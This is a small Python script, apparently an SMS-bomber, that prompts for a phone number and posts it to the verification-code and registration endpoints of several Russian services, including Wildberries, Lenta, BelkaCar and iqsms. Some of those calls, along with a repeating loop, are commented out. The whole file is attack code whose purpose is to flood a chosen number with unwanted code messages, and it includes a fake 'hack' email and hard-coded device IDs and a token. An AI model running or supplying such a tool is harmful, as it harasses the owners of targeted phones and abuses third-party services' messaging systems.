import requests

def main():
    #while True:
        #wildberries(phone)
        #belkacar(phone)
    iqsms(phone)

def wildberries(phone):
    ch = requests.session()
    ch.get("https://wbx-auth.wildberries.ru/v2/code")
    d = {"lang": 3, 'app_id': 0, 'app_version': 1, 'device_id': '26fcbaa0-42cd-46e1-b738-e9a6d8f20282', 'unauth_id': 414422817, 'restore_session_id': 'aoh1Q99rStzx334zbz72PpTD5zvtlq0asajfBwzhQXs', 'history[]': 'reset', 'platform': 'vkcom', 'login': phone, 'vkui': 1}
    pch = requests.post("https://wbx-auth.wildberries.ru/v2/code", headers = {"Content-Type":"application/json", "Deviceid":"site_e5d13ad591d84b41be274ab6e60d250d", "X-Request-Id":"75c5974f18674ab9b39265de069e8b98"}, json={"phone_number":phone}) 

    if pch.status_code == 200:
        print("WB: OK")
    else:
        print("WB: Ошибка")

#def lenta(phone):
 #   ch = requests.session()
  #  ch.get("https://lenta.com/api/v1/authentication/requestValidationCode")
    
   # pch = requests.post("https://lenta.com/api/v1/authentication/requestValidationCode", headers = {"Content-Type":"application/json"}, json={"phone":phone}) 
   # if pch.status_code == 200:
    #    print("lenta: OK")
  #  else:
   #     print("lenta: Ошибка")

#def belkacar(phone):
   # ch = requests.session()
#    ch.get("https://lk.belkacar.ru/fapi/v1/registerLargeCorporate")
    
 #   pch = requests.post("https://lk.belkacar.ru/fapi/v1/registerLargeCorporate", headers = {"Content-Type":"application/json"}, json={"params":{"business_type":"large", "name":"Alex", "phone": '+' + phone, "email":"lol_hack@proton.com", "password":""}})
    # "token":"HFYm04cRQcGDFgb2ENTEccTQN-JzFcRh9hORBuJBQxPBJVBG5SBWRTMQVUZDYRa0ciLTRjBh46Bh5Bfm41RHleP0VYMV5SYEQaUxJrSFQZTW8DKCx8Wy5VSnU2bEUKV0kLDCt9PgkcBDFjRl5gVytve10dBFpZRGIuFSEFF2BzR2AzLDZLBhk9"
  #  if pch.status_code == 200:
  #      print(pch.request.body)
 #       print("belkacar: OK")
  #  else:
  #      print("belkacar: Ошибка")

def iqsms(phone):
    ch = requests.session()
    ch.get("https://iqsms.ru/php/smscode.php")
    pch = requests.post("https://iqsms.ru/php/smscode.php", headers={"Content-Type":"application/x-www-form-urlencoded"}, json={"phone": phone})
    
    if pch.status_code == 200:
        print("iqsms: OK")
    else:
        print(pch)
        print("iqsms: Ошибка")

if __name__ == "__main__":
    phone = input("Phone: ")
    main()